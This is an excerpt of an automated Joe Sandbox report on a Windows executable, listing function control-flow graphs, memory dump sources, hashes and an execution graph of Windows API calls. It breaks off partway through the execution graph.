                                                        control_flow_graph 640 7ff6bf4a1e10-7ff6bf4a1e2d 641 7ff6bf4a1e2f-7ff6bf4a1e38 640->641 642 7ff6bf4a1e3e-7ff6bf4a1e48 640->642 641->642 643 7ff6bf4a1f60-7ff6bf4a1f69 641->643 644 7ff6bf4a1ea3-7ff6bf4a1ea8 642->644 645 7ff6bf4a1e4a-7ff6bf4a1e53 642->645 644->643 648 7ff6bf4a1eae-7ff6bf4a1eb3 644->648 646 7ff6bf4a1e55-7ff6bf4a1e60 645->646 647 7ff6bf4a1ecc-7ff6bf4a1ed1 645->647 646->644 651 7ff6bf4a1f23-7ff6bf4a1f2d 647->651 652 7ff6bf4a1ed3-7ff6bf4a1ee2 signal 647->652 649 7ff6bf4a1eb5-7ff6bf4a1eba 648->649 650 7ff6bf4a1efb-7ff6bf4a1f0a call 7ff6bf4a88f0 648->650 649->643 655 7ff6bf4a1ec0 649->655 650->651 661 7ff6bf4a1f0c-7ff6bf4a1f10 650->661 653 7ff6bf4a1f2f-7ff6bf4a1f3f 651->653 654 7ff6bf4a1f43-7ff6bf4a1f45 651->654 652->651 656 7ff6bf4a1ee4-7ff6bf4a1ee8 652->656 662 7ff6bf4a1f5a 653->662 654->643 655->651 659 7ff6bf4a1f4e-7ff6bf4a1f53 656->659 660 7ff6bf4a1eea-7ff6bf4a1ef9 signal 656->660 659->662 660->643 663 7ff6bf4a1f12-7ff6bf4a1f21 signal 661->663 664 7ff6bf4a1f55 661->664 662->643 663->643 663->651 664->662
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: CCG
                                                        • API String ID: 0-1584390748
                                                        • Opcode ID: 89c3267b39798691b50afba904a509dc7d9550d58f228bc855c47db3ec4ccd15
                                                        • Instruction ID: 08f7c6538b604acb4fc1135162fa7b0743b5cc6df17e93e4b04feae6c3459959
                                                        • Opcode Fuzzy Hash: 89c3267b39798691b50afba904a509dc7d9550d58f228bc855c47db3ec4ccd15
                                                        • Instruction Fuzzy Hash: 66217C25E0818A45FA7543AC958037913C19FCA7A4F258535EF1DC72F7EF2CAC818B45
                                                        Function 00007FF6BF4A1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BF4A1247), ref: 00007FF6BF4A19F9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: ProtectVirtual
                                                        • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                        • API String ID: 544645111-395989641
                                                        • Opcode ID: 1427bf654806dcf77d3eff93f33b3334b9e2720a1da467fe145db069b9fa5c34
                                                        • Instruction ID: 42e6eb44c955e8039be37b27889617c68c48318e9f61e8cd6d2c13fcfdbe7b17
                                                        • Opcode Fuzzy Hash: 1427bf654806dcf77d3eff93f33b3334b9e2720a1da467fe145db069b9fa5c34
                                                        • Instruction Fuzzy Hash: AB515F76F0854AD6FB108BA9E8407B427A1BB55B98F444131DB1C87BB6DF3CE586CB00
                                                        Function 00007FF6BF4A1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 698 7ff6bf4a1800-7ff6bf4a1810 699 7ff6bf4a1812-7ff6bf4a1822 698->699 700 7ff6bf4a1824 698->700 701 7ff6bf4a182b-7ff6bf4a1867 call 7ff6bf4a2290 fprintf 699->701 700->701
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: fprintf
                                                        • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                        • API String ID: 383729395-3474627141
                                                        • Opcode ID: 80b55b679c43398cd10c2705b1bc3e714c861d881ba8fd20a1c45f70f8608342
                                                        • Instruction ID: 60467ffba597c76fd6a186fac79ffb12230d229dd0d82368754ad459e409da57
                                                        • Opcode Fuzzy Hash: 80b55b679c43398cd10c2705b1bc3e714c861d881ba8fd20a1c45f70f8608342
                                                        • Instruction Fuzzy Hash: B2F09622E18A5582F611ABACA9410BDA3A1EF597C1F509235DF4DD7667DF2CF182C700
                                                        Function 00007FF6BF4A219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1701501140.00007FF6BF4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BF4A0000, based on PE: true
                                                        • Associated: 00000000.00000002.1701473329.00007FF6BF4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701527448.00007FF6BF4A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701550178.00007FF6BF4AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701572445.00007FF6BF4AC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701799206.00007FF6BF722000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1701826014.00007FF6BF724000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_7ff6bf4a0000_aAcx14Rjtw.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                        • String ID:
                                                        • API String ID: 682475483-0
                                                        • Opcode ID: f543aa23bd1ef31c93bca285cb24675544a5f5830443b0e18ba8ebec66cf2718
                                                        • Instruction ID: 20fabb2d3916c89b8358d54c78d43d244e5809499095ad97c37702e26e51cbf3
                                                        • Opcode Fuzzy Hash: f543aa23bd1ef31c93bca285cb24675544a5f5830443b0e18ba8ebec66cf2718
                                                        • Instruction Fuzzy Hash: F601DA26A0990282F6569B99AD0427453B0FF09B90F444175CF1DD3EB5DF2DEA96D300

                                                        Execution Graph

                                                        Execution Coverage:3.5%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:0%
                                                        Total number of Nodes:1629
                                                        Total number of Limit Nodes:2
                                                        execution_graph 4389 7ff7ce651f47 4390 7ff7ce651e67 signal 4389->4390 4392 7ff7ce651e99 4389->4392 4391 7ff7ce651e7c 4390->4391 4390->4392 4391->4392 4393 7ff7ce651e82 signal 4391->4393 4393->4392 4420 7ff7ce651ab3 4421 7ff7ce651ade 4420->4421 4422 7ff7ce65199e 4421->4422 4423 7ff7ce651b36 4421->4423 4424 7ff7ce651a0f 4421->4424 4422->4424 4426 7ff7ce6519e9 VirtualProtect 4422->4426 4425 7ff7ce651ba0 4 API calls 4423->4425 4427 7ff7ce651b53 4425->4427 4426->4422 4427->4427 2729 7ff7ce651394 2733 7ff7ce658350 2729->2733 2731 7ff7ce6513b8 2732 7ff7ce6513c6 NtSetInformationJobObject 2731->2732 2734 7ff7ce65836e 2733->2734 2737 7ff7ce65839b 2733->2737 2734->2731 2735 7ff7ce658443 2736 7ff7ce65845f malloc 2735->2736 2738 7ff7ce658480 2736->2738 2737->2734 2737->2735 2738->2734 4394 7ff7ce651ad4 4395 7ff7ce651ade 4394->4395 4396 7ff7ce651b36 4395->4396 4397 7ff7ce65199e 4395->4397 4400 7ff7ce651a0f 4395->4400 4398 7ff7ce651ba0 4 API calls 4396->4398 4397->4400 4401 7ff7ce6519e9 VirtualProtect 4397->4401 4399 7ff7ce651b53 4398->4399 4401->4397 4368 7ff7ce65216f 4369 7ff7ce652178 InitializeCriticalSection 4368->4369 4370 7ff7ce652185 4368->4370 4369->4370 4339 7ff7ce651e10 4341 7ff7ce651e2f 4339->4341 4340 7ff7ce651eb5 4341->4340 4342 7ff7ce651ecc 4341->4342 4344 7ff7ce651e55 4341->4344 4342->4340 4343 7ff7ce651ed3 signal 4342->4343 4343->4340 4345 7ff7ce651ee4 4343->4345 4344->4340 4347 7ff7ce651f12 signal 4344->4347 4345->4340 4346 7ff7ce651eea signal 4345->4346 4346->4340 4347->4340 4371 7ff7ce651a70 4372 7ff7ce65199e 4371->4372 4375 7ff7ce651a7d 4371->4375 4373 7ff7ce651a0f 4372->4373 4374 7ff7ce6519e9 VirtualProtect 4372->4374 4374->4372 4402 7ff7ce652050 4403 7ff7ce65205e EnterCriticalSection 4402->4403 4404 7ff7ce6520cf 4402->4404 4405 7ff7ce6520c2 LeaveCriticalSection 4403->4405 4406 7ff7ce652079 4403->4406 4405->4404 4406->4405 4407 7ff7ce6520bd free 4406->4407 4407->4405 4408 7ff7ce651fd0 4409 7ff7ce651fe4 4408->4409 4411 7ff7ce652033 4408->4411 4410 7ff7ce651ffd EnterCriticalSection LeaveCriticalSection 4409->4410 4409->4411 4410->4411 4428 7ff7ce65219e 4429 7ff7ce6521ab EnterCriticalSection 4428->4429 4430 7ff7ce652272 4428->4430 4431 7ff7ce652265 LeaveCriticalSection 4429->4431 4433 7ff7ce6521c8 4429->4433 4431->4430 4432 7ff7ce6521e9 TlsGetValue GetLastError 4432->4433 4433->4431 4433->4432 4348 7ff7ce652104 4349 7ff7ce652218 4348->4349 4350 7ff7ce652111 EnterCriticalSection 4348->4350 4351 7ff7ce652272 4349->4351 4354 7ff7ce652241 DeleteCriticalSection 4349->4354 4356 7ff7ce652230 free 4349->4356 4352 7ff7ce65220b LeaveCriticalSection 4350->4352 4353 7ff7ce65212e 4350->4353 4352->4349 4353->4352 4355 7ff7ce65214d TlsGetValue GetLastError 4353->4355 4354->4351 4355->4353 4356->4354 4356->4356 4384 7ff7ce651e65 4385 7ff7ce651e67 signal 4384->4385 4386 7ff7ce651e7c 4385->4386 4388 7ff7ce651e99 4385->4388 4387 7ff7ce651e82 signal 4386->4387 4386->4388 4387->4388 2739 7ff7ce651140 2742 7ff7ce651160 2739->2742 2741 7ff7ce651156 2743 7ff7ce65118b 2742->2743 2744 7ff7ce6511b9 2742->2744 2743->2744 2745 7ff7ce651190 2743->2745 2746 7ff7ce6511c7 _amsg_exit 2744->2746 2747 7ff7ce6511d3 2744->2747 2745->2744 2748 7ff7ce6511a0 Sleep 2745->2748 2746->2747 2749 7ff7ce651201 _initterm 2747->2749 2750 7ff7ce65121a 2747->2750 2748->2744 2748->2745 2749->2750 2767 7ff7ce651880 2750->2767 2752 7ff7ce651247 SetUnhandledExceptionFilter 2753 7ff7ce65126a 2752->2753 2754 7ff7ce65126f malloc 2753->2754 2755 7ff7ce65128b 2754->2755 2758 7ff7ce6512d2 2754->2758 2756 7ff7ce6512a0 strlen malloc memcpy 2755->2756 2756->2756 2757 7ff7ce6512d0 2756->2757 2757->2758 2774 7ff7ce653b50 2758->2774 2760 7ff7ce651315 2761 7ff7ce651344 2760->2761 2762 7ff7ce651324 2760->2762 2765 7ff7ce651160 93 API calls 2761->2765 2763 7ff7ce65132d _cexit 2762->2763 2764 7ff7ce651338 2762->2764 2763->2764 2764->2741 2766 7ff7ce651366 2765->2766 2766->2741 2768 7ff7ce6518a2 2767->2768 2773 7ff7ce651a0f 2767->2773 2769 7ff7ce651956 2768->2769 2770 7ff7ce65199e 2768->2770 2768->2773 2769->2770 2949 7ff7ce651ba0 2769->2949 2772 7ff7ce6519e9 VirtualProtect 2770->2772 2770->2773 2772->2770 2773->2752 2776 7ff7ce653b66 2774->2776 2775 7ff7ce653c60 wcslen 2959 7ff7ce65153f 2775->2959 2776->2775 2781 7ff7ce653d60 2784 7ff7ce653d7a memset wcscat memset 2781->2784 2786 7ff7ce653dd3 2784->2786 2787 7ff7ce653e23 wcslen 2786->2787 2788 7ff7ce653e35 2787->2788 2792 7ff7ce653e7c 2787->2792 2789 7ff7ce653e50 _wcsnicmp 2788->2789 2790 7ff7ce653e66 wcslen 2789->2790 2789->2792 2790->2789 2790->2792 2791 7ff7ce653edd wcscpy wcscat memset 2794 7ff7ce653f1c 2791->2794 2792->2791 2793 7ff7ce654024 wcscpy wcscat 2795 7ff7ce65404f memset 2793->2795 2798 7ff7ce654131 2793->2798 2794->2793 2796 7ff7ce654070 2795->2796 2797 7ff7ce6540d5 wcslen 2796->2797 2800 7ff7ce6540eb 2797->2800 2804 7ff7ce65412c 2797->2804 3147 7ff7ce652df0 2798->3147 2801 7ff7ce654100 _wcsnicmp 2800->2801 2802 7ff7ce654116 wcslen 2801->2802 2801->2804 2802->2801 2802->2804 2803 7ff7ce6543a3 wcscpy wcscat memset 2806 7ff7ce6543e5 2803->2806 2804->2803 2805 7ff7ce65442a wcscpy wcscat memset 2807 7ff7ce654470 2805->2807 2806->2805 2808 7ff7ce6544d5 wcscpy wcscat memset 2807->2808 2809 7ff7ce65451b 2808->2809 2810 7ff7ce65454b wcscpy wcscat 2809->2810 2811 7ff7ce6566a8 memcpy 2810->2811 2812 7ff7ce65457d 2810->2812 2811->2812 2813 7ff7ce652df0 11 API calls 2812->2813 2815 7ff7ce65472c 2813->2815 2814 7ff7ce652df0 11 API calls 2816 7ff7ce654840 memset 2814->2816 2815->2814 2817 7ff7ce654861 2816->2817 2818 7ff7ce6548a4 wcscpy wcscat memset 2817->2818 2819 7ff7ce6548ed 2818->2819 2820 7ff7ce654930 wcscpy wcscat wcslen 2819->2820 3159 7ff7ce65146d 2820->3159 2823 7ff7ce654a44 2826 7ff7ce654b3a wcslen 2823->2826 2832 7ff7ce654d2d 2823->2832 3331 7ff7ce65157b 2826->3331 2827 7ff7ce65145e 2 API calls 2827->2823 2831 7ff7ce654d0c memset 2831->2832 2833 7ff7ce654d9d wcscpy wcscat 2832->2833 2837 7ff7ce654dcf 2833->2837 2834 7ff7ce654c9f wcslen 3369 7ff7ce6515e4 2834->3369 2839 7ff7ce652df0 11 API calls 2837->2839 2838 7ff7ce65145e 2 API calls 2838->2831 2841 7ff7ce654ed7 2839->2841 2840 7ff7ce654bf9 2840->2831 2840->2834 2842 7ff7ce652df0 11 API calls 2841->2842 2844 7ff7ce654fec 2842->2844 2843 7ff7ce652df0 11 API calls 2845 7ff7ce6550d6 2843->2845 2844->2843 2846 7ff7ce652df0 11 API calls 2845->2846 2848 7ff7ce6551c0 2846->2848 2847 7ff7ce655301 wcslen 2849 7ff7ce65157b 2 API calls 2847->2849 2848->2847 2850 7ff7ce65538b 2849->2850 2851 7ff7ce655393 memset 2850->2851 2875 7ff7ce6554a5 2850->2875 2852 7ff7ce6553b4 2851->2852 2853 7ff7ce655404 wcslen 2852->2853 3372 7ff7ce6515a8 2853->3372 2855 7ff7ce652df0 11 API calls 2861 7ff7ce655550 2855->2861 2857 7ff7ce655499 2859 7ff7ce65145e 2 API calls 2857->2859 2858 7ff7ce655474 _wcsnicmp 2858->2857 2866 7ff7ce655cd1 2858->2866 2859->2875 2860 7ff7ce652df0 11 API calls 2862 7ff7ce655642 _wcsicmp 2860->2862 2861->2860 2864 7ff7ce65565d memset 2862->2864 2879 7ff7ce6559e0 2862->2879 2863 7ff7ce655d2e wcslen 2865 7ff7ce6515a8 2 API calls 2863->2865 2868 7ff7ce655681 2864->2868 2867 7ff7ce655d8a 2865->2867 2866->2863 2870 7ff7ce65145e 2 API calls 2867->2870 2869 7ff7ce6556c6 wcscpy wcscat wcslen 2868->2869 2872 7ff7ce65146d 2 API calls 2869->2872 2870->2875 2871 7ff7ce655ae7 wcslen 2873 7ff7ce65153f 2 API calls 2871->2873 2874 7ff7ce655793 2872->2874 2876 7ff7ce655b72 2873->2876 3383 7ff7ce651530 2874->3383 2875->2855 2875->2862 2878 7ff7ce65145e 2 API calls 2876->2878 2881 7ff7ce655b83 2878->2881 2879->2871 2891 7ff7ce655c1a 2881->2891 3641 7ff7ce652f70 2881->3641 2882 7ff7ce656e7e 2884 7ff7ce65145e 2 API calls 2882->2884 2883 7ff7ce6557d1 3422 7ff7ce6514a9 2883->3422 2888 7ff7ce656e8a 2884->2888 2887 7ff7ce655c77 wcslen 2892 7ff7ce655c8d 2887->2892 2914 7ff7ce655ccc 2887->2914 2888->2760 2890 7ff7ce655bb0 3645 7ff7ce6538e0 2890->3645 2891->2887 2897 7ff7ce655ca0 _wcsnicmp 2892->2897 2893 7ff7ce65586d 2896 7ff7ce65145e 2 API calls 2893->2896 2900 7ff7ce655861 2896->2900 2901 7ff7ce655cb6 wcslen 2897->2901 2897->2914 3568 7ff7ce653350 memset 2900->3568 2901->2897 2901->2914 2902 7ff7ce655855 2906 7ff7ce65145e 2 API calls 2902->2906 2903 7ff7ce6514c7 2 API calls 2907 7ff7ce655c0c 2903->2907 2904 7ff7ce655e39 memset wcscpy wcscat 2905 7ff7ce652f70 2 API calls 2904->2905 2909 7ff7ce655e90 2905->2909 2906->2900 2907->2891 2912 7ff7ce65145e 2 API calls 2907->2912 2911 7ff7ce653350 11 API calls 2909->2911 2915 7ff7ce655ea8 2911->2915 2912->2891 2914->2904 2916 7ff7ce6514c7 2 API calls 2915->2916 2917 7ff7ce655ed6 memset 2916->2917 2921 7ff7ce655ef7 2917->2921 2918 7ff7ce652df0 11 API calls 2928 7ff7ce655945 2918->2928 2919 7ff7ce6558bc 2919->2918 2920 7ff7ce655f47 wcslen 2922 7ff7ce655f97 wcscat memset 2920->2922 2923 7ff7ce655f59 2920->2923 2921->2920 2929 7ff7ce655fd1 2922->2929 2924 7ff7ce655f70 _wcsnicmp 2923->2924 2924->2922 2927 7ff7ce655f82 wcslen 2924->2927 2926 7ff7ce652df0 11 API calls 2931 7ff7ce654234 2926->2931 2927->2922 2927->2924 2928->2926 2930 7ff7ce656041 wcscpy wcscat 2929->2930 2932 7ff7ce656073 2930->2932 2931->2760 2933 7ff7ce656df2 memcpy 2932->2933 2934 7ff7ce6561b0 2932->2934 2933->2934 2935 7ff7ce65626f wcslen 2934->2935 2936 7ff7ce65153f 2 API calls 2935->2936 2937 7ff7ce6562fa 2936->2937 2938 7ff7ce65145e 2 API calls 2937->2938 2939 7ff7ce65630b 2938->2939 2940 7ff7ce6563aa 2939->2940 2942 7ff7ce652f70 2 API calls 2939->2942 2941 7ff7ce65145e 2 API calls 2940->2941 2941->2931 2943 7ff7ce656338 2942->2943 2944 7ff7ce6538e0 11 API calls 2943->2944 2945 7ff7ce656364 2944->2945 2946 7ff7ce6514c7 2 API calls 2945->2946 2947 7ff7ce65639c 2946->2947 2947->2940 2948 7ff7ce65145e 2 API calls 2947->2948 2948->2940 2951 7ff7ce651bc2 2949->2951 2950 7ff7ce651c04 memcpy 2950->2769 2951->2950 2953 7ff7ce651c45 VirtualQuery 2951->2953 2954 7ff7ce651cf4 2951->2954 2953->2954 2958 7ff7ce651c72 2953->2958 2955 7ff7ce651d23 GetLastError 2954->2955 2956 7ff7ce651d37 2955->2956 2957 7ff7ce651ca4 VirtualProtect 2957->2950 2957->2955 2958->2950 2958->2957 3668 7ff7ce651394 2959->3668 2961 7ff7ce65154e 2962 7ff7ce651394 2 API calls 2961->2962 2963 7ff7ce651558 2962->2963 2964 7ff7ce65155d 2963->2964 2965 7ff7ce651394 2 API calls 2963->2965 2966 7ff7ce651394 2 API calls 2964->2966 2965->2964 2967 7ff7ce651567 2966->2967 2968 7ff7ce65156c 2967->2968 2969 7ff7ce651394 2 API calls 2967->2969 2970 7ff7ce651394 2 API calls 2968->2970 2969->2968 2971 7ff7ce651576 2970->2971 2972 7ff7ce65157b 2971->2972 2973 7ff7ce651394 2 API calls 2971->2973 2974 7ff7ce651394 2 API calls 2972->2974 2973->2972 2975 7ff7ce651585 2974->2975 2976 7ff7ce65158a 2975->2976 2977 7ff7ce651394 2 API calls 2975->2977 2978 7ff7ce651394 2 API calls 2976->2978 2977->2976 2979 7ff7ce651599 2978->2979 2980 7ff7ce651394 2 API calls 2979->2980 2981 7ff7ce6515a3 2980->2981 2982 7ff7ce651394 2 API calls 2981->2982 2983 7ff7ce6515a8 2982->2983 2984 7ff7ce651394 2 API calls 2983->2984 2985 7ff7ce6515b7 2984->2985 2986 7ff7ce651394 2 API calls 2985->2986 2987 7ff7ce6515c6 2986->2987 2988 7ff7ce651394 2 API calls 2987->2988 2989 7ff7ce6515d5 2988->2989 2990 7ff7ce651394 2 API calls 2989->2990 2991 7ff7ce6515e4 2990->2991 2992 7ff7ce651394 2 API calls 2991->2992 2993 7ff7ce6515f3 2992->2993 2993->2931 2994 7ff7ce651503 2993->2994 2995 7ff7ce651394 2 API calls 2994->2995 2996 7ff7ce65150d 2995->2996 2997 7ff7ce651512 2996->2997 2998 7ff7ce651394 2 API calls 2996->2998 2999 7ff7ce651394 2 API calls 2997->2999 2998->2997 3000 7ff7ce651521 2999->3000 3001 7ff7ce651394 2 API calls 3000->3001 3002 7ff7ce65152b 3001->3002 3003 7ff7ce651530 3002->3003 3004 7ff7ce651394 2 API calls 3002->3004 3005 7ff7ce651394 2 API calls 3003->3005 3004->3003 3006 7ff7ce65153a 3005->3006 3007 7ff7ce65153f 3006->3007 3008 7ff7ce651394 2 API calls 3006->3008 3009 7ff7ce651394 2 API calls 3007->3009 3008->3007 3010 7ff7ce65154e 3009->3010 3011 7ff7ce651394 2 API calls 3010->3011 3012 7ff7ce651558 3011->3012 3013 7ff7ce65155d 3012->3013 3014 7ff7ce651394 2 API calls 3012->3014 3015 7ff7ce651394 2 API calls 3013->3015 3014->3013 3016 7ff7ce651567 3015->3016 3017 7ff7ce65156c 3016->3017 3018 7ff7ce651394 2 API calls 3016->3018 3019 7ff7ce651394 2 API calls 3017->3019 3018->3017 3020 7ff7ce651576 3019->3020 3021 7ff7ce65157b 3020->3021 3022 7ff7ce651394 2 API calls 3020->3022 3023 7ff7ce651394 2 API calls 3021->3023 3022->3021 3024 7ff7ce651585 3023->3024 3025 7ff7ce65158a 3024->3025 3026 7ff7ce651394 2 API calls 3024->3026 3027 7ff7ce651394 2 API calls 3025->3027 3026->3025 3028 7ff7ce651599 3027->3028 3029 7ff7ce651394 2 API calls 3028->3029 3030 7ff7ce6515a3 3029->3030 3031 7ff7ce651394 2 API calls 3030->3031 3032 7ff7ce6515a8 3031->3032 3033 7ff7ce651394 2 API calls 3032->3033 3034 7ff7ce6515b7 3033->3034 3035 7ff7ce651394 2 API calls 3034->3035 3036 7ff7ce6515c6 3035->3036 3037 7ff7ce651394 2 API calls 3036->3037 3038 7ff7ce6515d5 3037->3038 3039 7ff7ce651394 2 API calls 3038->3039 3040 7ff7ce6515e4 3039->3040 3041 7ff7ce651394 2 API calls 3040->3041 3042 7ff7ce6515f3 3041->3042 3042->2781 3043 7ff7ce65156c 3042->3043 3044 7ff7ce651394 2 API calls 3043->3044 3045 7ff7ce651576 3044->3045 3046 7ff7ce65157b 3045->3046 3047 7ff7ce651394 2 API calls 3045->3047 3048 7ff7ce651394 2 API calls 3046->3048 3047->3046 3049 7ff7ce651585 3048->3049 3050 7ff7ce65158a 3049->3050 3051 7ff7ce651394 2 API calls 3049->3051 3052 7ff7ce651394 2 API calls 3050->3052 3051->3050 3053 7ff7ce651599 3052->3053 3054 7ff7ce651394 2 API calls 3053->3054 3055 7ff7ce6515a3 3054->3055 3056 7ff7ce651394 2 API calls 3055->3056 3057 7ff7ce6515a8 3056->3057 3058 7ff7ce651394 2 API calls 3057->3058 3059 7ff7ce6515b7 3058->3059 3060 7ff7ce651394 2 API calls 3059->3060 3061 7ff7ce6515c6 3060->3061 3062 7ff7ce651394 2 API calls 3061->3062 3063 7ff7ce6515d5 3062->3063 3064 7ff7ce651394 2 API calls 3063->3064 3065 7ff7ce6515e4 3064->3065 3066 7ff7ce651394 2 API calls 3065->3066 3067 7ff7ce6515f3 3066->3067 3067->2781 3068 7ff7ce65145e 3067->3068 3069 7ff7ce651394 2 API calls 3068->3069 3070 7ff7ce651468 3069->3070 3071 7ff7ce65146d 3070->3071 3072 7ff7ce651394 2 API calls 3070->3072 3073 7ff7ce651394 2 API calls 3071->3073 3072->3071 3074 7ff7ce651477 3073->3074 3075 7ff7ce65147c 3074->3075 3076 7ff7ce651394 2 API calls 3074->3076 3077 7ff7ce651394 2 API calls 3075->3077 3076->3075 3078 7ff7ce651486 3077->3078 3079 7ff7ce65148b 3078->3079 3080 7ff7ce651394 2 API calls 3078->3080 3081 7ff7ce651394 2 API calls 3079->3081 3080->3079 3082 7ff7ce651495 3081->3082 3083 7ff7ce651394 2 API calls 3082->3083 3084 7ff7ce65149a 3083->3084 3085 7ff7ce651394 2 API calls 3084->3085 3086 7ff7ce6514a9 3085->3086 3087 7ff7ce651394 2 API calls 3086->3087 3088 7ff7ce6514b8 3087->3088 3089 7ff7ce651394 2 API calls 3088->3089 3090 7ff7ce6514c7 3089->3090 3091 7ff7ce651394 2 API calls 3090->3091 3092 7ff7ce6514d6 3091->3092 3093 7ff7ce651394 2 API calls 3092->3093 3094 7ff7ce6514e5 3093->3094 3095 7ff7ce651394 2 API calls 3094->3095 3096 7ff7ce6514f4 3095->3096 3097 7ff7ce651503 3096->3097 3098 7ff7ce651394 2 API calls 3096->3098 3099 7ff7ce651394 2 API calls 3097->3099 3098->3097 3100 7ff7ce65150d 3099->3100 3101 7ff7ce651512 3100->3101 3102 7ff7ce651394 2 API calls 3100->3102 3103 7ff7ce651394 2 API calls 3101->3103 3102->3101 3104 7ff7ce651521 3103->3104 3105 7ff7ce651394 2 API calls 3104->3105 3106 7ff7ce65152b 3105->3106 3107 7ff7ce651530 3106->3107 3108 7ff7ce651394 2 API calls 3106->3108 3109 7ff7ce651394 2 API calls 3107->3109 3108->3107 3110 7ff7ce65153a 3109->3110 3111 7ff7ce65153f 3110->3111 3112 7ff7ce651394 2 API calls 3110->3112 3113 7ff7ce651394 2 API calls 3111->3113 3112->3111 3114 7ff7ce65154e 3113->3114 3115 7ff7ce651394 2 API calls 3114->3115 3116 7ff7ce651558 3115->3116 3117 7ff7ce65155d 3116->3117 3118 7ff7ce651394 2 API calls 3116->3118 3119 7ff7ce651394 2 API calls 3117->3119 3118->3117 3120 7ff7ce651567 3119->3120 3121 7ff7ce65156c 3120->3121 3122 7ff7ce651394 2 API calls 3120->3122 3123 7ff7ce651394 2 API calls 3121->3123 3122->3121 3124 7ff7ce651576 3123->3124 3125 7ff7ce65157b 3124->3125 3126 7ff7ce651394 2 API calls 3124->3126 3127 7ff7ce651394 2 API calls 3125->3127 3126->3125 3128 7ff7ce651585 3127->3128 3129 7ff7ce65158a 3128->3129 3130 7ff7ce651394 2 API calls 3128->3130 3131 7ff7ce651394 2 API calls 3129->3131 3130->3129 3132 7ff7ce651599 3131->3132 3133 7ff7ce651394 2 API calls 3132->3133 3134 7ff7ce6515a3 3133->3134 3135 7ff7ce651394 2 API calls 3134->3135 3136 7ff7ce6515a8 3135->3136 3137 7ff7ce651394 2 API calls 3136->3137 3138 